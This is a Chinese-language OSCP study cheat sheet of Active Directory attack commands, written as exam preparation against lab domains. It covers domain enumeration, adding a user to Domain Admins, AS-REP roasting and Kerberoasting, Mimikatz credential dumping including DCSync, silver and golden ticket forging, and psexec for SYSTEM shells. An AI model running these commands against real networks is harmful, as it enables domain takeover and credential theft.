跳转至

活动目录(域控)

OSCP 的 AD(域控)部分通常不会深入考察复杂的攻击链或高阶域渗透技巧,更偏向检验考生是否掌握 可落地的基础能力。整体侧重点主要包括:基础认证与访问(如 Kerberos/NTLM 的常见使用场景)、基础枚举与权限识别、简单的 ACL/委派关系带来的访问控制问题、密码喷洒/弱口令验证、以及基于已获取凭据的横向移动与权限提升闭环。

域用户枚举

Bash
1
2
3
4
net user /domain
net user alice Password1 /add /domain
net group /domain
net group "Domain Admins" alice /add /domain

LDAP 服务枚举

Bash
ldapsearch -H ldap://monitored.htb -x -s base namingcontexts
ldapsearch -H ldap://monitored.htb -x -b "dc=monitored,dc=htb"

AS-Rep 攻击

Bash
1
2
3
4
5
6
impacket-GetNPUsers active.htb/SVC_TGS:GPPstillStandingStrong2k18
# 也可以不使用密码,需要指定用户字典,可通过RID枚举用户名
GetNPUsers.py -no-pass -usersfile users.txt contoso.com/

# 目标本地获取 AS-Rep hash
.\Rubeus.exe asreproast /nowrap

kerberoasting 攻击

Bash
1
2
3
4
5
# 注意:需要 kerberos 认证
impacket-GetUserSPNs active.htb/SVC_TGS:GPPstillStandingStrong2k18 -request

# 目标本地获取 kerberoasting hash
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast

PowerView 工具

PowerShell
# 导入
.\PowerView.ps1

# 域信息
Get-NetDomain
Get-DomainSID
Get-DomainPolicy

# 域控
Get-NetDomainController

# 域用户
Get-NetUser

# 域计算机
Get-NetComputer
Get-NetComputer | select dnshostname,operatingsystem,operatingsystemversion

# 域组
Get-NetGroup
Get-NetGroup "Domain Admins"
Get-NetGroup "Sales Department" | select member

# 本地组
Get-NetLocalGroup -ComputerName dc01.oscp.com

# 共享
Invoke-ShareFinder -Verbose
Get-NetShare
Find-DomainShare
Find-DomainShare -CheckShareAccess

# GPP密码示例
cat \\dc1.corp.com\sysvol\corp.com\Policies\oldpolicy\old-policy-backup.xml
gpp-decrypt "+bsY0V3d4/KgX3VJdO/vypePfAN1zMFTiQDApgR92JE"

# GPO
Get-NetGPO

# 本地管理员枚举
Find-LocalAdminAccess -Verbose
Invoke-ProcessHunter
Invoke-EnumerateLocalAdmin -Verbose

# 会话
Get-NetSession
Get-NetRDPSession
Get-NetLoggedon

# 远程进程
Get-NetProcess

Bloodhound 工具

Bash
# 安装 bloodhound
# 通过 docker 安装
# https://bloodhound.specterops.io/get-started/quickstart/community-edition-quickstart

# powershell 中全量收集 BloodHound 数据(输出 zip)
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All

# 通过 exe 程序收集 BloodHound 数据(输出 zip)
SharpHound.exe -c All

Mimikatz 工具

Bash
# DC sync
# 导出所有用户
Mimikatz "lsadump::dcsync /domain:test.com /all /csv" exit
# 指定用户
Mimikatz "lsadump::dcsync /domain:test.com /user:username" exit

# 从 LSA 中提取凭证
mimikatz "lsadump::lsa /inject" exit

# 访问本地 SAM 数据库
mimikatz "lsadump::sam" exit

# 注册表提取
mimikatz "lsadump::secrets" exit

# 已登录用户的凭证
mimikatz "sekurlsa::logonpasswords" exit

# 从内存中提取 Kerberos 票证
mimikatz "sekurlsa::tickets /export" exit

银票伪造

Bash
# 准备前提
# 域SID
whoami /user
# 目标SPN示例,可通过 PowerView.ps1 获取
. .\PowerView.ps1
Get-NetUser -SPN
HTTP/web04.corp.com:80

# mimikatz 伪造银票(目标系统本地)
# /rc4:服务账号的 NTLM Hash
mimikatz
kerberos::golden /sid:S-1-5-21-12312321-12323123-1234567899 /domain:oscp.com /ptt /target:web04.corp.com /service:http /rc4:111111111111119580484ca09 /user:jeffadmin

# impacket 伪造银票(kali)
impacket-ticketer -nthash E3A0168BC21CFB88B95C954A5B18F57C \
-domain-sid S-1-5-21-1969309164-1513403977-1686805993 \
-domain oscp.com \
-spn MSSQL/mssql.oscp.com \
-user-id 500 Administrator
# 将获取的票据添加环境变量,进而执行后续操作
export KRB5CCNAME=$PWD/administrator.ccache

# 查看票据
klist

金票伪造

Bash
# 获取 krbtgt 用户 hash
mimikatz
privilege::debug
lsadump::lsa /patch

# mimikatz 制作金票(在目标系统本地)
# 清除旧票据
kerberos::purge
# 执行制作
mimikatz
kerberos::golden /user:FakeAdmin /domain:oscp.com \
/sid:S-1-5-21-634716346-3108032190-2057695417 \
/krbtgt:53456cfa6981cff6455b3f515f04bd46 \
/id:500
# 使用票据(开启高权限shell)
misc::cmd
# 横向移动示例
PsExec.exe \\dc1 cmd.exe

# impacket 制作金票(kali)
impacket-ticketer -nthash '170710980002a95bc62d176f680a5b40' -domain-sid 'S-1-5-21-4078382237-1492182817-2568127209' -domain 'sequel.htb' -user-id 500 -groups 512 administrator
# 将获取的票据添加环境变量,进而执行后续操作
export KRB5CCNAME=$PWD/administrator.ccache
# 利用 psexec 获取 system 权限
impacket-psexec -dc-ip 10.10.11.202 dc.sequel.htb -no-pass -k